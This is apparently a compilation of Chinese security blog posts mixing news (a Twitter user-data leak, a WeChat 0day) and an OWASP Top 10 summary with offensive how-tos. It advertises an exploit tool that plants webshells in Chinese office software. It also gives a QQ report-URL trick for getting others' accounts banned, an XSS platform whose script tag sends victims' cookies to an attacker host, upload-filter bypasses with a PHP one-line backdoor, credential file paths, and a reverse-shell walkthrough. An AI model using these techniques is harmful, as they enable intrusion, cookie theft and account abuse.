免责声明 请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，作者不为此承担任何责任。工具来自网络，安全性自测，如有侵权请联系删除。   0x01 工具介绍 增加CNVD-2023-00895 包括：泛微、蓝凌、用友、万户、致远、通达等多个高位漏洞。                                                                         e-cology workrelate_uploadOperation.jsp-RCE (默认写入冰蝎4.0.3aes)e-cology page_uploadOperation.jsp-RCE (暂未找到案例 仅供检测poc)e-cology BshServlet-RCE (可直接执行系统命令)e-cology KtreeUploadAction-RCE (默认写入冰蝎4.0.3aes)e-cology WorkflowServiceXml-RCE (默认写入内存马 冰蝎 3.0 beta11)e-office logo_UploadFile.php-RCE (默认写入冰蝎4.0.3aes)e-office10 OfficeServer.php-RCE (默认写入冰蝎4.0.3aes)e-office doexecl.php-RCE (写入phpinfo,需要getshell请自行利用)e-mobile_6.6 messageType.do-SQlli (sqlmap利用，暂无直接shell的exp)landray_datajson-RCE (可直接执行系统命令)landray_treexmlTmpl-RCE (可直接执行系统命令)landray_sysSearchMain-RCE (多个payload，写入哥斯拉 3.03 密码 yes)yongyou_chajet_RCE (用友畅捷通T+ rce 默认写入哥斯拉 Cshap/Cshap_aes_base64)yongyou_NC_FileReceiveServlet-RCE 反序列化rce (默认写入冰蝎4.0.3aes)yongyou_NC_bsh.servlet.BshServlet_RCE (可直接执行系统命令)yongyou_NC_NCFindWeb 目录遍历漏洞 (可查看是否存在历史遗留webshell)yongyou_GRP_UploadFileData-RCE(默认写入冰蝎4.0.3aes)yongyou_KSOA_imageUpload-RCE (默认写入冰蝎4.0.3aes)wanhuoa_OfficeServer-RCE(默认写入冰蝎4.0.3aes)wanhuoa_OfficeServer-RCE(默认写入哥斯拉4.0.1 jsp aes 默认密码密钥)wanhuoa_DocumentEdit-SQlli(mssql数据库 可 os-shell)wanhuoa_OfficeServerservlet-RCE(默认写入冰蝎4.0.3aes)wanhuoa_fileUploadController-RCE(默认写入冰蝎4.0.3aes)seeyonoa_main_log4j2-RCE (仅支持检测，自行开启ladp服务利用)seeyonoa_wpsAssistServlet-RCE(默认写入冰蝎4.0.3aes)seeyonoa_htmlofficeservlet-RCE(默认写入冰蝎4.0.3aes)seeyonoa_ajaxBypass-RCE(写入天蝎 密码sky)tongdaoa_getdata-RCE (直接执行系统命令)tongdaoa_apiali-RCE (默认写入冰蝎4.0.3aes)中间件:IIS_PUT_RCE (emm暂时没办法getshell 仅支持检测 java没有MOVE方法)安全设备:综合安防_applyCT_fastjson-RCE(仅支持检测,自行使用ladp服务利用)网康下一代防火墙_ngfw_waf_route-RCE(写入菜刀shell 密码:nishizhu)网御星云账号密码泄露   0x02 安装与使用   1、文件上传指令生成 2、Tasklist敏感进程检测 /3、33、反弹shell命令生成 0x03 项目链接下载 请加入交流群下载...

就在马斯克宣布裁撤整个安全部门之后，Twitter再次传来一个重磅消息，超过540万条用户数据已经在暗网公开，并且免费共享给所有人。此外，安全人员还披露了另外一个可能泄露的，规模更大的数据库，其中包含了上千万条Twitter数据。 这些数据包含了大多数的公共信息，包括包括帐户的 Twitter ID、名称、屏幕名称、已验证状态、位置、URL、描述、关注者数量、帐户创建日期、好友数量、收藏夹数量、状态计数和个人资料图像 URL；以及较为私密的用户的电子邮件和电话号码等信息。一旦这些信息在暗网爆发开来，那么意味着数百万的Twitter用户将有可能面临潜在的网络钓鱼攻击。   数据泄露6个月后才修复漏洞   根据国外媒体报道，2022年8月5日，Twitter在其隐私中心发布声明，确认此前被曝出的540万个账户信息泄露事件确实存在。 Twitter表示，之所以直接发布这一声明，是因为无法确认每一个可能受到影响的账户，因此无法单独向账户发送信息泄露警告。“拥有匿名账户的人需要尤其注意，他们可能会被政府或其他人锁定目标。”Twitter在声明中强调。 被黑客利用的漏洞是Twitter 在2021年6月更新时引入的：如果有人向Twitter系统提交一个电子邮件地址或电话号码，Twitter系统会回复相关联的账户信息。 2022年1月1日，网络安全平台Hackerone用户zhirinovsky报告了这一漏洞，并在Twitter的漏洞奖励计划中获得5040美元的奖励。根据报告，该漏洞对拥有私人或匿名账户的用户构成了“严重威胁”，可能被用来“创建数据库”，或通过大数据分析出Twitter的用户画像。 得知此事后，Twitter立即进行了调查和修复。当时没有证据表明有人利用了这个漏洞，然而这已是漏洞被引入代码库的6个月之后。Twitter并未在隐私中心对此发表任何说明。 7月21日，媒体RestorePrivacy注意到一位新用户在黑客论坛上以3万美元出售Twitter数据库，称涉及540万用户，包括“从名人到公司”的用户数据。RestorePrivacy验证发现，受害者来自世界各地，这些被泄露的数据包括与Twitter账号绑定的电子邮件、电话号码、公开的个人资料信息，并可以与真实的人相匹配。 这已经不是Twitter第一次发生大规模数据泄露事件，2019年1月，Twitter披露了其修复的一个安全漏洞，而在此前四年多的时间里，该漏洞使得许多用户的私人推文被泄露。而此次数据泄露也是漏洞引起，并且经过长达六个月的时间才修复完成。 难怪马斯克一上任就裁掉了Twitter整个安全部门，作为全球大型社交平台之一，其安全能力属实无法令人满意。 数据泄露的远比想象中的多 但更糟糕的消息还在后面，免费共享540 万条用户数据的发布者称，这仅仅是Twitter数据泄露的一部分，他们还窃取了更多的用户数据。据悉这些泄露的Twitter数据已经达到千万级，其中包括使用相同 API 错误收集的个人电话号码，以及公共信息，包括已验证状态、帐户名、Twitter ID、个人简介和屏幕名称。 Loder 最早在Twitter上发布了上述更大数据泄露的消息，发帖后不久他就被停职。Loder随后在Mastodon上发布了这个更大规模数据泄露的编辑样本 。 Loder分享更大漏洞的消息 有安全专家通过这个未知的数据库的样本文件，对其中信息的真实性进行了核实。结果发现，包括电话号码在内的信息全部都真实有效，这也从侧面证明了此次千万级数据泄露是真实存在的。 此外，这些用于核实的信息都没有出现在 8 月份出售的原始数据中，这说明 Twitter 的数据泄露比之前披露的要严重得多，而且攻击者之间流传着大量的用户数据。 安全专家Pompompurin表示，目前不知道是谁创建了这个新发现的数据转储，表明其他人正在利用这个 API 漏洞。这个新发现的数据转储由许多按国家和地区代码分解的文件组成，包括欧洲、以色列和美国。 有消息称这个泄露的数据库存储的信息量有可能达到2千万条，其泄漏量之大令人震惊，因此Twitter用户应提高警惕，仔细检查任何声称来自Twitter的电子邮件，避免陷入网络钓鱼攻击的陷进之中。 ...

文件上传漏洞部分解析后缀 asp/aspx: asp,aspx,asa,asax,ascx,ashx,asmx,cer,aSp,aSpx,aSa,aSax,aScx,aShx,aSmx,cEr php: php,php5,php4,php3,php2,pHp,pHp5,pHp4,pHp3,pHp2,html,htm,phtml,pht,Html,Htm,pHtml jsp: jsp,jspa,jspx,jsw,jsv,jspf,jtml,jSp,jSpx,jSpa,jSw,jSv,jSpf,jHtml ...

最近两天QQ出现了大规模封号的情况，当然，我在推送群里的几个QQ也被封了，自己用的大号还健在。 结果就有热心网友找到了漏洞相关的POC，先对马叔叔（10001）进行了一波尝试，结果发现没有效果。 然后就拿我大号进行了测试，当时，我正好在吃饭，结果GG了……  0:00 / 00 漏洞产生的原因 客户端版本较多导致可能存在一些没有废弃的旧版接口 可以在URL中修改eviluin、text_evidence字段，就可以修改要举报的QQ号和证据 漏洞POC 目前看应该是已经和谐了，我们将其中的URL也分享出来供大家学习参考 漏洞URL样本一 您需要将QQ号替换为目标的QQ号 https://jubao.qq.com/uniform_impeach/impeach_entry?system=PC&version=5887&appname=PCQQ&appid=2400002&subapp=group_vote&scene=20001&uintype=1&eviluin=https://jubao.qq.com/uniform_impeach/impeach_entry?system=PC&version=5887&appname=PCQQ&appid=2400002&subapp=group_vote&scene=20001&uintype=1&eviluin=QQ号&evilnick=%E7%8C%AA%E7%8C%AA%E4%BE%A0&srv_para=chatmsg:&text_evidence=%E6%8A%95%E7%A5%A8%E6%A0%87%E9%A2%98:%E7%99%BE%E5%AE%B6%E4%B9%90;%E9%80%89%E9%A1%B91:%E6%93%8D%E4%BD%A0%E6%AF%8Dk%E4%BD%A0b%E6%AD%BBb;%E9%80%89%E9%A1%B91;&img_evidence=&url_evidence=&video_evidence=&file_evidence=&audio_evidence=&user_input_param=&cryptograph=5773555d36d3e9fecc805877688f24af&salt=e9db1f69eb6c5cf54f8312227f405bcc&seqid=1037948812520221013&is_fake=0&impeach_tel=1&3eeaade917a2c33cc4710031c653b2bd885cbb42&input=%E7%A1%AE%E5%AE%9A&evilnick=%E7%8C%AA%E7%8C%AA%E4%BE%A0&srv_para=chatmsg:&text_evidence=%E6%8A%95%E7%A5%A8%E6%A0%87%E9%A2%98:%E7%99%BE%E5%AE%B6%E4%B9%90;%E9%80%89%E9%A1%B91:%E6%93%8D%E4%BD%A0%E6%AF%8Dk%E4%BD%A0b%E6%AD%BBb;%E9%80%89%E9%A1%B91;&img_evidence=&url_evidence=&video_evidence=&file_evidence=&audio_evidence=&user_input_param=&cryptograph=5773555d36d3e9fecc805877688f24af&salt=e9db1f69eb6c5cf54f8312227f405bcc&seqid=1037948812520221013&is_fake=0&impeach_tel=1&3eeaade917a2c33cc4710031c653b2bd885cbb42&input=%E7%A1%AE%E5%AE%9A 我们分析下上面的一些字段，目标QQ号使用的是eviluin，举报证据字段如下 text_evidence=%E6%8A%95%E7%A5%A8%E6%A0%87%E9%A2%98:%E7%99%BE%E5%AE%B6%E4%B9%90;%E9%80%89%E9%A1%B91:%E6%93%8D%E4%BD%A0%E6%AF%8Dk%E4%BD%A0b%E6%AD%BBb;%E9%80%89%E9%A1%B91; 通过URL解码，我们可以看到里面有一些关键词，正是命中了这些关键词导致的用户被立刻封号 漏洞URL样本二 QQ号需要修改为目标QQ号 https://jubao.qq.com/uniform_impeach/impeach_entry?system=PC&version=5887&appname=PCQQ&appid=2400002&subapp=group_vote&scene=20001&uintype=1&eviluin=QQ号&evilnick=%E7%8C%AA%E7%8C%AA%E4%BE%A0&srv_para=chatmsg:&text_evidence=%E6%8A%95%E7%A5%A8%E6%A0%87%E9%A2%98:%E7%99%BE%E5%AE%B6%E4%B9%90;%E9%80%89%E9%A1%B91:%E6%93%8D%E4%BD%A0%E6%AF%8Dk%E4%BD%A0b%E6%AD%BBb;%E9%80%89%E9%A1%B91;&img_evidence=&url_evidence=&video_evidence=&file_evidence=&audio_evidence=&user_input_param=&cryptograph=5773555d36d3e9fecc805877688f24af&salt=e9db1f69eb6c5cf54f8312227f405bcc&seqid=1037948812520221013&is_fake=0&impeach_tel=1&3eeaade917a2c33cc4710031c653b2bd885cbb42&input=%E7%A1%AE%E5%AE%9A 以上两个样本可以造成封号1、7天，其实就是利用了这些字段可以随意修改，而且大概率是从旧版电脑QQ上遗留的部分功能导致的。因此，做安全喜欢考古是一个很不错的思路，比方说从以前的老版本的应用上寻找一些可能还遗留的接口进行参数篡改，就会导致网上说的这种无违规(wwg)封号的情况 POC验证 在输入上面的URL，在手机客户端访问后，可以看到举报成功 当然我自己的号也不例外，被热心网友安排了一天的套餐 你可以去安全中心，输入对应的QQ检测封号情况 https://accounts.qq.com/login/limit 目前可以看到很多大佬的QQ都因为这个漏洞被临时封禁了 很多短位或者靓号也被热心网友给搞封了 这个漏洞目前应该是已经修复了，而且通过这个漏洞被封禁的账户现在也都解封了 ...

什么是远程代码执行攻击? RCE 攻击包括通过使用系统某个级别的漏洞在系统中注入和执行恶意代码。这允许攻击者在系统中执行命令、窃取、损坏、加密数据等。 RCE 攻击有多危险? RCE 攻击的影响可能很大，具体取决于它所利用的漏洞。至少，成功的远程代码执行将授予对系统及其数据的访问权限。，严重的情况下，它可能导致整个系统妥协和接管。 RCE含义 RCE 也称为远程代码评估，是更广泛的任意代码执行 (ACE) 攻击组的一部分。它是一种使用互联网、本地 (LAN) 或广域网 (WAN) 在目标机器或系统中远程注入和执行代码的方法。此代码可以访问 Web 服务器或应用程序，完全控制或破坏它，打开后门，获取、修改或破坏数据，安装勒索软件等。 这种攻击利用了将可执行代码注入字符串或文件并执行或评估的可能性。可能是由于用户输入没有经过验证，也没有被允许通过编程语言的解析器——这种情况通常不是开发人员想要的。注入的代码通常使用目标应用程序的编程语言。此类语言可能包括 PHP、Java、Python、Ruby 等。 根据攻击者所利用的缺陷，他们通常会在执行代码时获得目标进程授予的权限。例如，如果攻击者以用户的身份注入代码，他们就会夺取用户的权限。 出于这个原因，RCE 之后经常尝试升级权限并获得对管理或根级别的控制。不幸的是，这种提升的特权也允许攻击者更巧妙地隐藏攻击。然而，即使没有更多的特殊权限，远程代码执行漏洞也有可能造成严重危害。 RCE 攻击的影响 远程代码执行攻击的影响可能是简单地获得对应用程序的访问权，也可能是完全接管应用程序。RCE攻击的一些主要结果类型包括: 访问应用程序或服务器：最初，由于漏洞，攻击者可以访问易受攻击的应用程序中的功能。他们可以使用它来注入和运行底层的 Web 服务器命令。 权限升级：获得对网络服务器的访问权并执行命令意味着攻击者可能能够获得更大的权限并控制服务器。如果存在服务器级别的内部漏洞，这尤其危险。 访问数据：利用 RCE 漏洞，攻击者可以访问和窃取存储在服务器上的数据。 拒绝服务:攻击者可以通过执行特定的命令来中断和崩溃服务器上的整个服务和其他服务。 勒索软件和加密：如果可以在服务器上执行代码，也可以安装各种类型的恶意软件。此类恶意软件可能是使用服务器资源挖掘加密货币的加密挖掘或加密劫持软件。远程代码执行漏洞也为勒索软件打开了大门，让整个服务器被接管。 这些只是 RCE 攻击的一些可能影响。根据具体情况和其他漏洞的存在，敌对方可能会造成进一步的损害，使这种攻击非常危险。 远程代码执行如何工作 执行远程代码执行有不同的方法，因为它可以针对服务器的不同层。 执行 RCE 的一种常见方法是通过注入代码并获得对指令指针的控制权。这允许攻击者指向执行以下指令/过程。代码可以以不同的方式和位置注入，但攻击者必须“指向”注入的代码才能执行。代码本身可能以命令、脚本或其他形式存在。 从本质上讲，以上就是RCE攻击的执行方式。攻击的类型、攻击向量以及执行的精确程度可能有所不同。 远程代码执行攻击类型 这些是最常见的远程代码执行攻击及其基本场景。 类型混淆 这种类型的漏洞是指使用一种类型分配对象、资源或变量，但随后使用不同于初始类型的另一种类型进行访问。由于访问资源的类型和属性不匹配，这将导致错误和逻辑错误。 攻击者利用这个漏洞，将代码包含在分配一个指针但读取另一个指针的对象中。结果是第二个指针触发注入的代码。 例如，在某些情况下， SQL 注入可能是由于类型混淆造成的。 反序列化 Тo 通过网络传输数据，它被序列化，也就是转换为二进制。然后，将其反序列化并转换回要在其目的地使用的对象。 通过以特定方式格式化用户输入，攻击者可以创建一个对象，一旦它被反序列化，就会变成可执行的动态代码。 缓冲区溢出和缓冲区过度读取 缓冲区溢出也称为越界写入和缓冲区溢出。与缓冲区过度读取一起，它指的是与称为缓冲区的内存分区相关的内存安全漏洞。缓冲区的目的是在数据从一个地方移动到另一个地方时临时存储数据。 应用程序经常使用缓冲存储器来存储数据，包括用户提供的数据。对于缓冲区溢出，攻击者将依赖于有缺陷的内存分配，例如，缺乏边界检查措施。这可能导致数据被写入缓冲区边界之外并覆盖相邻缓冲区分区中的内存。 这种覆盖可能会损坏或破坏重要数据，导致崩溃，或导致通过使用指令指针安全漏洞触发 RCE。这可能与缓冲区过度读取情况有关，在这种场景中，数据的读取超出了缓冲区的边界，进入了存储在相邻分区中的内存。 RCE 攻击示例 一些重要和危险的漏洞及其启用的攻击都涉及使用 RCE。 Log4J RCE 漏洞 Log4Shell (CVE-2021-44228) 是 Log4j 中的一个远程代码执行漏洞，Log4j是一种流行的 Java 日志框架，估计会影响全球数百万台设备。它被称为“有史以来最大、最严重的漏洞”。虽然它自 2013 年以来就存在，但它于 2021 年 11 月为人所知，并于当年 12 月公开披露。 该漏洞允许用户在服务器上执行任意Java代码，为加密挖掘、创建僵尸网络和注入勒索软件打开大门。 WannaCry WannaCry是一种勒索病毒加密蠕虫攻击，它使用了一个名为EternalBlue的RCE漏洞，从而可以部署DoublePulsar工具来安装和执行自己的程序。这次攻击的目标是微软的Windows系统。安装后，蠕虫会对数据进行加密，攻击者会索要赎金。 永恒之蓝攻击了微软SMB (Server Message Block)协议中的一个安全漏洞。该漏洞允许攻击者注入和远程执行代码。 这只是两个最著名的RCE漏洞及其启用的攻击。常见漏洞和暴露(Common vulnerability and exposed, CVE)系统定期列出可能导致RCE攻击的漏洞的新条目。 如何检测和防止远程代码执行 RCE 攻击构成严重威胁，因为它们可能涉及多种方法并利用许多不同的漏洞。此外，新的漏洞不断出现，使得准备充分变得具有挑战性。但是，您可以采取多种措施来检测和防止 RCE 攻击。 定期安全更新 组织经常不能根据最新的威胁情报采取行动，不能及时应用补丁和更新。因此，攻击者通常也会试图攻击旧的漏洞。一旦系统和软件可用，就立即对它们进行安全更新，这对于阻止许多攻击者是非常有效的。 监控 监控网络流量和端点，以发现可疑内容并阻止利用企图。这可以通过实现某种形式的网络安全解决方案或威胁检测软件来实现。 检测软件安全 通过静态代码检测可以在编码阶段发现常见的安全漏洞，从源头解决掉存在的安全风险。 内存管理 实现缓冲区溢出保护和其他形式的内存管理，以避免产生容易被利用的漏洞。例如，当缓冲区溢出时，这种保护将终止程序的执行，从而有效地禁用了执行恶意代码的可能性。边界检查和标记是可以实现的其他保护技术，用于停止缓冲区溢出。 ...

2021年的Top 10 里出现了3个新主题、4个命名与范围发生变化的主题，此外还进行了一些合并。 A01 :越权访问（2021-Broken Access Control） 从2017年的第5位上升至第1位。超过94%的app都经历过某种形式的越权访问控制测试。对应到越权访问有34个CWE，比任何其它在app中出现的主题次数都多。  A02：加密失败（2021-Cryptographic Failures ） 较2017年相比上升1位至第2位。以前被称为敏感数据公开（Sensitive Data Exposure），但只是一种基本症状表现，并不是根本原因。最新版OWASP重新聚焦于与密码学相关的缺陷，这些缺陷通常会导致敏感数据公开或系统受损。  A03：注入（2021-Injection） 较2017版相比下滑至第3位。超过94% 的app都针对各种形式的注入进行了测试。对应到注入有33 个CWE，在app中出现的次数位列第二。跨站脚本攻击（XSS）目前属于现版本中注入的一部分。  A04：不安全设计（2021-Insecure Design） 2021年Top 10的新主题，重点关注了与设计缺陷相关的风险。如果我们真的想作为一个行业发展，就需要更多地使用威胁模型分析、安全设计模式和原则以及参考架构。  A05：安全性错误配置（2021-Security Misconfiguration） 较前版的第6位相比上升1位。90% 的app都需要经过某种形式的错误配置测试。随着更多转向高度可配置的软件，也就不奇怪为什么这个主题排名能够上升了。之前的XXE主题现在也属于A05类别。  A06：易受攻击与过时组件（2021-Vulnerable and Outdated Components） 前版名称是“应用已知漏洞组件”（Known Vulnerabilities），在行业调查中位列第2，并有足够的数据通过数据分析进入Top 10排名。该类别从 2017 年的第9位上升，是一个难以测试和评估风险的已知问题。这是唯一没有任何CVE可以对应到已归结CWE的主题，因此以默认的利用和影响权重5.0计入评分标准。  A07：身份验证与认证失败（2021-Identification and Authentication Failures） 以前称为错误认证（Broken Authentication），从第2位下滑至第7位。现在包括与识别失败更多相关的 CWE。有着标准化框架可用性增加的帮助，该主题仍然是前10的一个组成部分。  A08：软件和数据完整性故障（2021-Software and Data Integrity Failures） 2021 年的一个新主题，着眼于在不验证完整性的情况下，做出与软件更新、关键数据和 CI/CD 管道相关的假设。CVE/CVSS 数据中最高加权影响之一可以对应到A08中的10个CWE。2017年的不安全反序列化（Insecure Deserialization） 现属于A08的一部分。  A09：安全日志记录和监控失败（2021- Security Logging and Monitoring Failures） 以前被称为日志记录和监控不足（ Insufficient Logging &Monitoring ）。是从行业调查第3位中添加的，从之前的第10位上升。A09被扩大成为一个能够包含更多故障类型的主题，对于我们进行测试有一定的挑战性，而且在 CVE/CVSS 数据中也没有很好的表现。但是，A09类故障会直接影响到可见（visibility）、事件警报（incident alerting）和取证（forensics）的准确性。  A10：服务器端请求伪造（2021-Server-Side Request Forgery） A10是直接从行业调查第1位中添加的。数据显示，在高于平均水平的测试里，A10的发生率相对较低，但Exploit和潜在的Impact都高于平均水平。这也正表示了行业专业人士在告诉我们，就算目前数据中没有显示出来，服务器请求伪造还是很重要的事实。  评选方式 新版Top 10的评选比以前都看重数据，但并非盲目受数据影响。OWASP从各方贡献的数据中选择了10个主题中的8个，然后从高水平行业调查中选择了剩下的2个。这样做的根本原因是，查看贡献的数据就等于是回顾过去。AppSec研究人员花了大量时间去寻找新的漏洞和测试它们的新方法，但将这些测试运用到实际工具和流程中还需要等待一段时间。等到能够可靠地进行大规模测试时，时间可能已经过去了很久。为了平衡这点，就应该将行业调查利用起来。去询问专业的一线人员，关于他们所发现的可能还尚未在数据中显示出来的漏洞。 这就是OWASP采用的为了使Top 10变得更加成熟的关键变化措施。  怎样归纳出各个主题？ 与上一期OWASP Top 10相比，一些主题发生了改变。以下是关于主题变更的高级摘要。以前的数据收集工作集中在大约 30 个CWE的规定子集上，并要求有1个额外发现的领域。OWASP了解到，组织将主要关注那 30 个 CWE，很少添加他们看到的其它CWE。本次迭代中OWASP完全抱着开放心态，只询问数据，对CWE没有设置任何限制。他们查询了从 2017 年开始测试的应用程序数量，以及在测试中发现至少一个 CWE实例的应用程序数量。这种形式使OWASP能够跟踪每个CWE在应用程序群体中的活跃程度。应用程序有4个CWE实例还是4000个实例，都不是影响进入Top 10的因素。在大约30个CWE到近400个CWE的跨度下，对数据集中进行了分析。未来将计划做额外的数据分析作为补充。这种在CWE数量需求上的增加会影响到提炼、归纳主题的方式。 OWASP用了好几个月的时间对 CWE 进行分组和分类，本需要再多花几个月，但他们不得不停下来。CWE可以分为“根本原因（root cause）”和“症状表现（symptom type）”类型，其中根本原因类型如“加密失败”和“错误配置”，可以和“敏感数据暴露”和“拒绝服务”等症状表现类型形成对比。OWASP决定尽可能关注根本原因，因为在提供识别和补救建议方面，根本原因更加重要。关注根本原因而不是症状表现，这并不是一个新概念。Top 10便是症状表现和根本原因的混合体，CWE也同样是症状表现和根本原因的混合体。现版本中每个类别平均有 19.6 个 CWE，A10：2021-服务器端请求伪造(SSRF) 的下限为 1 个 CWE，而 A04：2021-不安全设计中的 CWE 下限为 40 个。现版本更新的归纳法其实提供了额外的培训好处，比方公司可以专注于对语言/框架有意义的 CWE。  在归纳过程中，我们如何使用数据？ 2017年，OWASP根据事件发生概率来挑选各种主题，然后通过团队讨论，根据以往数十年的可利用性（exploitability）、可检测性（Detectability，也是可能性）和技术影响（Technical Impact）这三点来进行了排名。对于 2021 年，OWASP选择将数据用于利用（Exploit）和影响（Impact）的统计。 OWASP下载了OWASP Dependency Check，并提取了按相关CWE分组的CVSS 利用和影响的分数。这需要他们用一段时间去研究，因为所有CVE都有 CVSSv2 分数，但CVSSv2中存在CVSSv3应该解决的缺陷。过了段时间，所有CVE都被标上了CVSSv3 分数，并且CVSSv2与CVSSv3的评分范围和公式也进行了更新。 在 CVSSv2 中，利用和影响最大可以达到 10.0分，但公式会将它们的分数降低，利用只剩60%，影响下降至原本的40%。在CVSSv3 中，利用的理论最大分数限制为 6.0，影响的理论最大分数限制为4.0。考虑到权重，影响的评分在 CVSSv3 中平均上升了近1.5，而利用的评分平均下降了0.5。 OWASP Dependency Check提取的NVD数据中，有125000条CVE对应到CWE的记录，对应到CVE的特殊CWE有241条。62000条 CWE有CVSSv3 分数，大约是数据集数量的一半。 对于Top 10，OWASP按以下方式计算平均利用和影响分数。按CWE将所有有CVSS分数的CVE分组，并通过“有 CVSSv3数量的百分比”+“剩余有CVSSv2 的数量”，对利用和影响进行加权，获得了总体平均值。再将这些平均值对应到数据集中CWE，以用作另一半的风险等式的利用和影响评分。...

一、下载平台源码、拷贝到我们网站的根目录 https://github.com/anwilx/xss_platform 二、修改相关参数 1、config.php，数据库用户、密码、还有xss平台的访问路径 2、导入sql文件，测试的时候没法导入，所以就手动创建了数据库 新建数据库 打开xssplatform.sql，将里面的sql语句执行一遍 3、更新站点域名，将作者的域名替换，一共有四处 将module模块里"http://xsser.me"替换为"http://www.aiyouxss.com/xss"); 4、修改authtest文件 三、平台利用 1、注册一个账户 2、创建一个项目 3、配置相关信息，根据需要，添加模块 4、复制script里面代码，插入到存在xss漏洞的页面 <script src=http://192.168.139.129/xss/E3vbsa></script> 5、打开xss平台，已获取对方cookie 禁止非法，后果自负 ...

微信被国内某安全团队(青藤)爆出，在电脑版微信客户端中捕获到一个高危等级的在野0day漏洞。建议3.2.1.141版本以下的用户立即更新！ 此次被爆出的高危0day黑客只需要通过微信发送一个特制web链接，当用户点击链接后，微信电脑(windows)版进程wechatweb.exe会加载shellcode执行，整个过程无文件落地，无新进程产生。 也就是说当你点击了对方准备好的链接后，你就已经中招了而且不会在文件和进程上体现，比较可怕！ 安全团队在检测出wechatweb.exe存在内存恶意代码，继而排查出了0day漏洞之后，在第一时间报告腾讯安全应急响应中心并协助其修复漏洞。 截止目前，该漏洞已被修复并发布了更新版本，强烈建议看到此文章的朋友们，如果你的微信电脑版本在3.2.1.141以下，请及时点击设置-关于微信-检查更新，避免因此漏洞产生任何损失！ 也可以尽快扩散给身边使用微信电脑版的朋友，减小漏洞威胁！ ...

...

一、概念 文件上传漏洞，也就是常说的上传木马程序，一般先传小马，通过小马上传大马 文件包含漏洞，可以读取服务器本地文件 二、文件上传 1、本地上传限制不严格，头像上传，通过修改数据包上传文件后缀，可以绕过该限制。 选择一句话木马的php文件，提示只能上传JPEG和PNG文件 抓包，将Content-Type属性修改为：image/jpeg,点击发送 解释：MIME类型用来设定某种扩展名文件的打开方式,当具有该扩展名的文件被访问时,浏览器会自动使用指定的应用程序来打开。如GIF图片MIME为Image/gCSs文件MIME类型为text/ss。上传时,程序会对文件MME类型做验证。 提示上传成功 菜刀连接 2、服务器配置不当，HTTP没有禁用PUT和OPTIONS请求方法 3、文件解析漏洞：Apche、Nginx、IIS Apache解析漏洞 Apache对文件解析是从右到左的,由于 Apache无法解析rar和owf后缀,但能够解析php后缀,因此 Apache会将 x.php owf.rar当做php格式的文件进行解析并执行 http://www.aiyoubucuo.com/x.php.owf.rar Nginx<8.03空字节代码执行漏洞 影响范围: Nginx0.5.0.6,0.7<=0.7.65,0.8<=0.8.37访问以下网址,服务器将把x.jpg文件当做php解析并执行 http://www.aiyoubucuo.com/x.jpg%00.php IIS7.0/IIS7.5/ Nginx<0.8.3畸形解析漏洞 在默以 Fast-CGI开启状况下,访问以下网址,服务器将把x.jpg文件当做php解析并执行 http://www.aiyoubucuo.com/x.jpg/.php IIS 5.x/6.0解析漏洞 目录解析:在网站下建立文件夹的名称中带有.asp、.asa等可执行脚本文件后缀为后缀的文件夹,其目录内的任何扩展名的文件都被IIS当作可执行文件来解析并执行 http://www.aiyoubucuo.com/x.asp/x.jpg 文件解析在IIS6.0下,分号后面的不被解析x. asp;.jpg将被当做x.asp解析并执行。 http://www.aiyoubucuo.com/x.asp;.jpg IIS6.0默认的可执行文件有asp、asa、cer、cdx四种。 4、文件路径截断：%00截断 00截断的原理,就是利用0x00是字符串的结束标识符,攻击者可以利用手动添加字符串标识符的方式来将后面的内容进行截断,而后面的内容又可以帮助我们绕过检测。 限制条件： 0X00截断是16进制的截断,需要修改16进制的数据头,使用burp在Hex中对数据进行改写 PHP<53.29, magic_quotes_gpc=OFF %00的使用是在路径上,不是在文件名中"a. php%00b jpg" 由于%00做了截断,所以最后服务器接收到的文件名依然还是 a. php,因为在接收的时候,就直接对url编码进行解码,然后再去接收文件,这时候的文件名就变成了a.php,后面的 b. jpg已经被截断 三、文件包含漏洞 1、概念 一些网站由于业务需求,提供文件下载功能,但如果对用户查看或下载的文件不受限制,则恶意用户就能够查看或下载任意敏感文件,如脚本代码,服务及系统配置文件等,如果得到代码可以进行代码审计,得到更多可利用漏洞直接执行代码的函数: 2、常用函数 eval()、 assert()、 system()、exec()、 shell exec()、 passthru()、 escapeshellcmd()、 pcnl_exec()等 eval()：该函数把字符串按照PHP代码来计算,如常见的句话后门程序:<? php eval($_ POST[a])?> assert()：该函数与eval类似,字符串被 assert()当做PHP代码来执行; 3、PHP中常见的导致文件包含的函数:  require:找不到被包含的文件时会产生致命错误( E COMPILE ERROR),并停止脚本 include:找不到被包含的文件时只会产生-个( E waring),脚本将继续执行 require_once:与 require类似会产生警告,区别是如果文件代码已经被包含,则不会再次被包含 include once:与 include类似会产生警告,区别是如果文件代码已经被包含,则不会再次被包含 4、重要文件路径 1、Unix/liux系统： /etc/passwd /usr/local/app/apache2/conf/httpd.conf //apache2默认配置文件/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置/usr/local/app/php5/lib/php.ini //PHP相关设置/etc/httpd/conf/httpd.conf //apache配置文件/etc/my.cnf //Mysql配置文件 2、Windows系统 C:\\boot.ini //查看系统版本C:\windows\\system32\\inetsrv\\MetaBase.xml //IIS配置文件C:\\Program files\\mysql\\my.ini //mysql配置C:\\Program Filed\\mysql\data\\mysql\\user.MYD //Mysql rootC:\\windows\\php.ini //php配置信息C:\\windows\\my.ini // Mysql配置文件 禁止非法，后果自负 ...

小攻：IP地址：192.168.139.129  Win7 小受：IP地址：192.168.139.128，Ubuntu 一、拿到webshell后，点击反弹提权 二、小攻运行nv -vv -l -p 3355 三、在反弹提权页面，输入小攻的地址及上面监听的端口号，点击开始连接 四、小攻已成功连接小受，输入命令函数whoami查看权限是www 五、查看该系统版本号uname -a，根据该版本号查找相应的EXP，上传到小受并执行 六、工具下载：加入交流群 禁止非法，后果自负 ...

